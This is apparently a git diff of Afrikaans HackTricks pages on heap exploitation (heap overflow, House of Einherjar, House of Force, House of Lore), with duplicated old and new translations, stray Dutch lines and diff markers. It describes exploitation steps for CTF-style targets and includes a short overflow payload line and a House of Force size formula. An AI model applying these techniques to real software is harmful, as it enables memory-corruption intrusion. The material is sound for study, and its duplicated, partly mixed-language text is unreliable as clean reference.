In stapel oorvloeie is die rangskikking en data wat teenwoordig gaan wees in die stapel op die oomblik wanneer die kwesbaarheid geaktiveer kan word, redelik betroubaar. Dit is omdat die stapel lineêr is, altyd toeneem in botsende geheue, in **spesifieke plekke van die program hardloop die stapelgeheue gewoonlik soortgelyke data** en dit het 'n spesifieke struktuur met 'n paar aanwysers aan die einde van die stapelgedeelte wat deur elke funksie gebruik word.
In die geval van 'n heap oorloop is die gebruikte geheue nie lineêr nie, maar **toegewysde stukke is gewoonlik in afsonderlike posisies van geheue** (nie een langs die ander nie) as gevolg van **bins en sones** wat toewysings volgens grootte skei en omdat **vorige vrygemaakte geheue gebruik word** voordat nuwe stukke toegewys word. Dit is **ingewikkeld om die voorwerp te ken wat met die een wat vatbaar is vir 'n heap oorloop gaan bots**. Dus, wanneer 'n heap oorloop gevind word, moet 'n **betroubare manier gevind word om die gewenste voorwerp volgende in geheue te maak** van die een wat oorloop kan word.
Tog, in die geval van 'n heap oorvloei, is die gebruikte geheue nie lineêr nie maar **toegewysde stukke is gewoonlik in afsonderlike posisies van geheue** (nie een langs die ander nie) as gevolg van **bins en sones** wat toewysings volgens grootte skei en omdat **vorige vrygemaakte geheue gebruik word** voordat nuwe stukke toegewys word. Dit is **ingewikkeld om die voorwerp te ken wat met die een wat vatbaar is vir 'n heap oorvloei gaan bots**. Dus, wanneer 'n heap oorvloei gevind word, moet 'n **betroubare manier gevind word om die gewenste voorwerp volgende in geheue te maak** van die een wat oorvloei kan word.
Een van die tegnieke wat hiervoor gebruik word, is **Heap Grooming** wat byvoorbeeld gebruik word [**in hierdie pos**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In die pos word verduidelik hoe wanneer in die iOS-kernel 'n sone uit geheue hardloop om stukke geheue te stoor, dit uitgebrei word met 'n kernbladsy, en hierdie bladsy word verdeel in stukke van die verwagte groottes wat in orde gebruik sou word (tot iOS weergawe 9.2, dan word hierdie stukke op 'n willekeurige manier gebruik om die uitbuiting van hierdie aanvalle te bemoeilik).
Een van die tegnieke wat hiervoor gebruik word, is **Heap Grooming** wat byvoorbeeld gebruik word [**in hierdie pos**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In die pos word verduidelik hoe wanneer in die iOS-kernel 'n sone uit geheue raak om stukke geheue te stoor, dit uitgebrei word met 'n kernbladsy, en hierdie bladsy word verdeel in stukke van die verwagte groottes wat in orde gebruik sou word (tot iOS-weergawe 9.2, dan word hierdie stukke op 'n willekeurige manier gebruik om die uitbuiting van hierdie aanvalle te bemoeilik).
Daarom, in die vorige pos waar 'n heap oorloop plaasvind, moet daar 'n manier wees om die oorgeloopde voorwerp te dwing om met 'n slagofferorde te bots, verskeie **`kallocs` word gedwing deur verskeie drade om te probeer verseker dat al die vrye stukke gevul is en dat 'n nuwe bladsy geskep word**.
Daarom, in die vorige pos waar 'n heap oorvloei plaasvind, moet 'n paar **`kallocs` afgedwing word deur verskeie drade om te probeer verseker dat al die vry stukke gevul is en dat 'n nuwe bladsy geskep word**.
Om hierdie vulling met voorwerpe van 'n spesifieke grootte te dwing, is die **uitlyn-toewysing wat verband hou met 'n iOS mach-poort** 'n ideale kandidaat. Deur die grootte van die boodskap te skep, is dit moontlik om presies die grootte van `kalloc` toewysing te spesifiseer en wanneer die ooreenstemmende mach-poort vernietig word, sal die ooreenstemmende toewysing dadelik terug na `kfree` vrygestel word.
Om hierdie vulling met voorwerpe van 'n spesifieke grootte af te dwing, is die **buite lyntoewysing wat met 'n iOS mach-poort geassosieer word** 'n ideale kandidaat. Deur die grootte van die boodskap te skep, is dit moontlik om presies die grootte van `kalloc` toewysing te spesifiseer en wanneer die ooreenstemmende mach-poort vernietig word, sal die ooreenstemmende toewysing dadelik terug na `kfree` vrygestel word.
Dan kan sommige van hierdie plekhouers **vrygestel** word. Die **`kalloc.4096` vrylys vrylaat elemente in 'n laaste-in-eerste-uit-orde**, wat basies beteken dat as sommige plekhouers vrygemaak word en die aanval probeer om verskeie slagoffer voorwerpe toe te ken terwyl dit probeer om die voorwerp vatbaar vir oorloop toe te ken, is dit waarskynlik dat hierdie voorwerp deur 'n slagoffer voorwerp gevolg sal word.
Dan kan sommige van hierdie plekhouers **vrygestel** word. Die **`kalloc.4096` vrylys vrygestel elemente in 'n laaste-in-eerste-uit-orde**, wat basies beteken dat as sommige plekhouers vrygestel word en die aanval probeer om verskeie slagoffersvoorwerpe toe te ken terwyl die voorwerp wat vatbaar is vir oorvloei toegewys word, is dit waarskynlik dat hierdie voorwerp deur 'n slagoffersvoorwerp gevolg sal word.
### Voorbeeld libc
[**Op hierdie bladsy**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) is dit moontlik om 'n basiese Heap oorloop-emulasie te vind wat wys hoe om die vorig in gebruik bit van die volgende stuk oor te skryf en die posisie van die vorige grootte is dit moontlik om **'n gebruikte stuk te konsolideer** (deur dit te laat dink dit is ongebruik) en **dit dan weer toe te ken** en sodoende data oor te skryf wat in 'n ander aanwyser ook gebruik word.
[**Op hierdie bladsy**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) is dit moontlik om 'n basiese Heap oorvloei-emulasie te vind wat wys hoe om die vorig in gebruik bit van die volgende stuk en die posisie van die vorige grootte te oorskryf, dit is moontlik om 'n gebruikte stuk te **konsolideer** (deur dit te laat dink dit is ongebruik) en **dit dan weer toe te ken** en sodoende data te oorskryf wat in 'n ander aanwyser ook gebruik word.
'n Ander voorbeeld van [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) wys 'n baie basiese voorbeeld van 'n CTF waar 'n **heap oorloop** misbruik kan word om die wennerfunksie te roep om **die vlag te kry**.
'n Ander voorbeeld van [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) wys 'n baie basiese voorbeeld van 'n CTF waar 'n **heap oorvloei** misbruik kan word om die wennerfunksie te roep om die vlag te **kry**.
In die [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) voorbeeld is dit moontlik om te sien hoe 'n buffer oorloop misbruik kan word om **in 'n nabygeleë stuk 'n adres oor te skryf** waar **willekeurige data van die gebruiker** geskryf gaan word.
In die [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) voorbeeld is dit moontlik om te sien hoe 'n buffer oorvloei misbruik kan word om **in 'n naby stuk 'n adres oor te skryf** waar **willekeurige data van die gebruiker** geskryf gaan word.
### Voorbeeld ARM64
Op die bladsy [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) kan jy 'n voorbeeld van 'n heap oorloop vind waar 'n bevel wat uitgevoer gaan word in die volgende stuk vanaf die oorgeloopde stuk gestoor word. Dus, dit is moontlik om die uitgevoerde bevel te wysig deur dit met 'n maklike uitbuiting oor te skryf soos:
Op die bladsy [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) kan jy 'n voorbeeld van 'n heap oorvloei vind waar 'n bevel wat uitgevoer gaan word in die volgende stuk vanaf die oorvloeiende stuk gestoor word. Dus, dit is moontlik om die uitgevoerde bevel te wysig deur dit met 'n maklike uitbuiting soos oorskrywing te oorskryf.
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
@ -56,4 +57,19 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
* [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
* Ons gebruik 'n Integer Overflow kwesbaarheid om 'n Heap Overflow te kry.
* Ons beskadig aanwysers na 'n funksie binne 'n `struct` van die oorloop stuk om 'n funksie soos `system` in te stel en kode-uitvoering te kry.
* Ons beskadig aanwysers na 'n funksie binne 'n `struct` van die oorvloeiende blok om 'n funksie soos `system` in te stel en kode-uitvoering te kry.
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Huis van Einherjar
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
### Kode
* Kyk na die voorbeeld van [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* Kontroleer die voorbeeld van [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* Of dié van [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (jy mag die tcache moet vul)
### Doel
@ -31,29 +32,44 @@ Ander maniere om HackTricks te ondersteun:
* Stel aanwysers in om na homself te wys om sinnigheidskontroles te omseil
* Een-byte oorvloei met 'n nulbyte van een stuk na die volgende om die `PREV_INUSE`-vlag te wysig.
* Dui in die `prev_size` van die off-by-null misbruikte stuk die verskil tussen homself en die vals stuk aan
* Die grootte van die vals stuk moet ook dieselfde grootte gehad het om sinnigheidskontroles te omseil
* Vir die konstruksie van hierdie stukke, sal jy 'n hooplek nodig hê.
* Die grootte van die vals stuk moet ook dieselfde grootte wees om sinnigheidskontroles te omseil
* Vir die konstruksie van hierdie stukke, sal jy 'n hoop lek nodig hê.
### Aanval
* `n Valse stuk word binne 'n stuk wat deur die aanvaller beheer word, geskep wat met `fd` en `bk` na die oorspronklike stuk wys om beskermings te omseil
* `n Vals stuk word binne 'n stuk wat deur die aanvaller beheer word, geskep wat met `fd` en `bk` na die oorspronklike stuk wys om beskerming te omseil
* 2 ander stukke (`B` en `C`) word toegewys
* Deur die off by one in die `B` een te misbruik, word die `prev in use`-bit skoongemaak en die `prev_size`-data word oorskryf met die verskil tussen die plek waar die `C`-stuk toegewys is, na die vals `A`-stuk wat voorheen gegenereer is
* Hierdie `prev_size` en die grootte in die vals stuk `A` moet dieselfde wees om kontroles te omseil.
* Dan word die tcache gevul
* Dan word `C` vrygelaat sodat dit konsolideer met die vals stuk `A`
* Dan word `C` vrygestel sodat dit konsolideer met die vals stuk `A`
* Dan word 'n nuwe stuk `D` geskep wat in die vals `A`-stuk begin en die `B`-stuk dek
* Die huis van Einherjar eindig hier
* Dit kan voortgesit word met 'n vinnige bin-aanval of Tcache-vergiftiging:
* Vry `B` om dit by die vinnige bin / Tcache te voeg
* Stel `B` vry om dit by die vinnige bin / Tcache te voeg
* `B` se `fd` word oorskryf sodat dit na die teikenadres wys deur die `D`-stuk te misbruik (omdat dit `B` binne bevat)&#x20;
* Dan word 2 mallocs gedoen en die tweede een gaan die **teikenadres toeken**
* Dan word 2 mallocs gedoen en die tweede een gaan die teikenadres **toeken**
## Verwysings en ander voorbeelde
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
* Nadat aanwysers vrygelaat is, word hulle nie genullifiseer nie, dus is dit steeds moontlik om by hul data te kom. Daarom word 'n stuk in die ongesorteerde bin geplaas en die aanwysers wat dit bevat, gelek (libc-lek) en dan word 'n nuwe hoop op die ongesorteerde bin geplaas en 'n hoopadres gelek van die aanwyser wat dit kry.
* Nadat aanwysers vrygestel word, word hulle nie genullifiseer nie, dus is dit steeds moontlik om by hulle data te kom. Daarom word 'n stuk in die ongesorteerde bin geplaas en die aanwysers wat dit bevat, gelek (libc-lek) en dan word 'n nuwe hoop op die ongesorteerde bin geplaas en word 'n hoopadres gelek van die aanwyser wat dit kry.
* [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
* Nul-byte oorvloei-fout in `strtok`.
* Gebruik House of Einherjar om 'n situasie met oorvleuelende stukke te kry en eindig met Tcache-vergiftiging om 'n arbitrêre skryfprimitief te kry.
* Gebruik Huis van Einherjar om 'n situasie van oorvleuelende stukke te kry en eindig met Tcache-vergiftiging om 'n arbitrêre skryfprimitief te kry.
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Huis van Krag
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## Basiese Inligting
@ -27,12 +28,12 @@ Ander maniere om HackTricks te ondersteun:
### Vereistes
* 'n Oorvloei wat toelaat om die grootte van die boonste blok se kop (bv. -1) te oorskryf.
* Moet die grootte van die heap-toewysing kan beheer.
* 'n Oorvloei wat toelaat om die grootte van die boonste blokkop te oorskryf (bv. -1).
* Moet die grootte van die heap-toewysing kan beheer
### Aanval
As 'n aanvaller 'n blok wil toeken in die adres P om 'n waarde hier te oorskryf. Begin deur die grootte van die boonste blok met `-1` te oorskryf (miskien met 'n oorvloei). Dit verseker dat malloc nie mmap sal gebruik vir enige toewysing nie, aangesien die Boonste blok altyd genoeg spasie sal hê.
As 'n aanvaller 'n blok wil toeken in die adres P om 'n waarde hier te oorskryf. Begin deur die boonste blok grootte met `-1` te oorskryf (miskien met 'n oorvloei). Dit verseker dat malloc nie mmap sal gebruik vir enige toewysing nie, aangesien die Boonste blok altyd genoeg spasie sal hê.
Bereken dan die afstand tussen die adres van die boonste blok en die teiken spasie om toe te ken. Dit is omdat 'n malloc met daardie grootte uitgevoer sal word om die boonste blok na daardie posisie te skuif. Dit is hoe die verskil/grootte maklik bereken kan word:
```c
@ -47,7 +48,8 @@ Bereken dan die afstand tussen die adres van die boonste blok en die teiken spas
* req = target - old_top - 4*sizeof(long)
*/
```
Daarom sal die toewysing van 'n grootte van `teiken - ou_top - 4*sizeof(long)` (die 4 longs is as gevolg van die metadata van die boonste brokkie en van die nuwe brokkie wanneer dit toegewys word) die boonste brokkie na die adres skuif wat ons wil oorskryf. Dan, doen nog 'n malloc om 'n brokkie by die teikenadres te kry.
Daarom sal die toewysing van 'n grootte van `teiken - ou_top - 4*sizeof(long)` (die 4 longs is as gevolg van die metadata van die boonste brokkie en van die nuwe brokkie wanneer dit toegewys word) die boonste brokkie na die adres skuif wat ons wil oorskryf.\
Doen dan nog 'n malloc om 'n brokkie by die teikenadres te kry.
### Verwysings & Ander Voorbeelde
@ -59,27 +61,13 @@ Daarom sal die toewysing van 'n grootte van `teiken - ou_top - 4*sizeof(long)` (
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
* Die doel van hierdie scenario is 'n ret2win waar ons die adres van 'n funksie wat deur die ret2win-funksie geroep gaan word, moet wysig
* Die binêre het 'n oorvloei wat misbruik kan word om die grootte van die boonste brokkie te wysig, wat gewysig word na -1 of p64(0xffffffffffffffff)
* Daarna word die adres na die plek waar die wyser om oor te skryf bestaan, bereken, en die verskil vanaf die huidige posisie van die boonste brokkie tot daar word toegewys met `malloc`
* Daarna word die adres na die plek waar die wysiger-punt bestaan, bereken, en die verskil vanaf die huidige posisie van die boonste brokkie tot daar word toegewys met `malloc`
* Laastens word 'n nuwe brokkie toegewys wat hierdie gewenste teiken binne sal bevat wat oorskryf word deur die ret2win-funksie
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
* In die `Voer jou naam in:` is daar 'n aanvanklike kwesbaarheid wat dit moontlik maak om 'n adres van die heap te lek
* Dan in die `Org:` en `Host:` funksionaliteit is dit moontlik om die 64B van die `s` wyser te vul wanneer gevra word vir die **org-naam**, wat in die stapel gevolg word deur die adres van v2, wat dan gevolg word deur die aangeduide **gasheernaam**. Aangesien daarna, gaan strcpy die inhoud van s kopieer na 'n brokkie van grootte 64B, is dit moontlik om die grootte van die boonste brokkie te **oor skryf met die data wat binne die **gasheernaam** geplaas is.
* Nou dat arbitraire skryf moontlik is, is die `atoi` se GOT oorskryf na die adres van printf. dit was moontlik om die adres van `IO_2_1_stderr` te lek _met_ `%24$p`. En met hierdie libc-lek was dit moontlik om `atoi` se GOT weer te oorskryf met die adres na `system` en dit te roep deur `/bin/sh` as parameter te gee
* 'n Alternatiewe metode [voorgestel in hierdie ander skrywe](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), is om `free` met `puts` te oorskryf, en dan die adres van `atoi@got` by te voeg, in die wyser wat later vrygelaat sal word sodat dit gelek word en met hierdie lek weer `atoi@got` oorskryf met `system` en dit met `/bin/sh` roep.
* Daarna in die `Org:` en `Host:` funksionaliteit is dit moontlik om die 64B van die `s`-wyser te vul wanneer gevra word vir die **org-naam**, wat in die stapel gevolg word deur die adres van v2, wat dan gevolg word deur die aangeduide **gasheernaam**. Aangesien daarna, gaan strcpy die inhoud van s kopieer na 'n brokkie van grootte 64B, is dit moontlik om **die grootte van die boonste brokkie te oorskryf** met die data wat binne die **gasheernaam** geplaas is.
* Nou dat arbitraire skryf moontlik is, is die `atoi` se GOT oorskryf na die adres van printf. dit is moontlik om die adres van `IO_2_1_stderr` te lek _met_ `%24$p`. En met hierdie libc-lek was dit moontlik om `atoi` se GOT weer te oorskryf met die adres na `system` en dit te roep deur `/bin/sh` as parameter oor te dra
* 'n Alternatiewe metode [voorgestel in hierdie ander skrywe](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), is om `free` met `puts` te oorskryf, en dan die adres van `atoi@got` by te voeg, in die wyser wat later vrygelaat sal word sodat dit gelek word en met hierdie lek weer `atoi@got` oorskryf met `system` en dit met `/bin/sh` te roep.
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
* Daar is 'n UAF wat dit moontlik maak om 'n brokkie wat vrygelaat is sonder om die wyser skoon te maak, her te gebruik. Omdat daar 'n paar leesmetodes is, is dit moontlik om 'n libc-adres te lek deur 'n wyser na die vryfunksie in die GOT hier te skryf en dan die leesfunksie te roep.
* Daar is 'n UAF wat dit moontlik maak om 'n brokkie wat vrygelaat is sonder om die wyser skoon te maak, hergebruik. Omdat daar 'n paar leesmetodes is, is dit moontlik om 'n libc-adres te lek deur 'n wyser na die vryfunksie in die GOT hier te skryf en dan die leesfunksie te roep.
* Daarna is House of force gebruik (deur die UAF te misbruik) om die grootte van die oorblywende spasie met 'n -1 te oorskryf, 'n brokkie groot genoeg toe te ken om by die vryhaak te kom, en dan 'n ander brokkie toe te ken wat die vryhaak sal bevat. Skryf dan in die haak die adres van `system`, skryf in 'n brokkie `"/bin/sh"` en vry uiteindelik die brokkie met daardie stringinhoud.
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,24 +1,25 @@
# House of Lore | Klein bin Aanval
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
### Kode
* Kyk na dié van [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
* Kontroleer die een van [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
* Dit werk nie
* Of: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
* Dit werk nie eens al probeer dit om sekere kontroles te omseil en die fout kry: `malloc(): unaligned tcache chunk detected`
@ -26,15 +27,15 @@ Ander maniere om HackTricks te ondersteun:
### Doel
* Voeg 'n **vals klein stukkie by die klein bin in sodat dit moontlik is om dit toe te ken**.\
Merk op dat die klein stukkie wat bygevoeg is, die vals een is wat die aanvaller skep en nie 'n vals een op 'n willekeurige posisie nie.
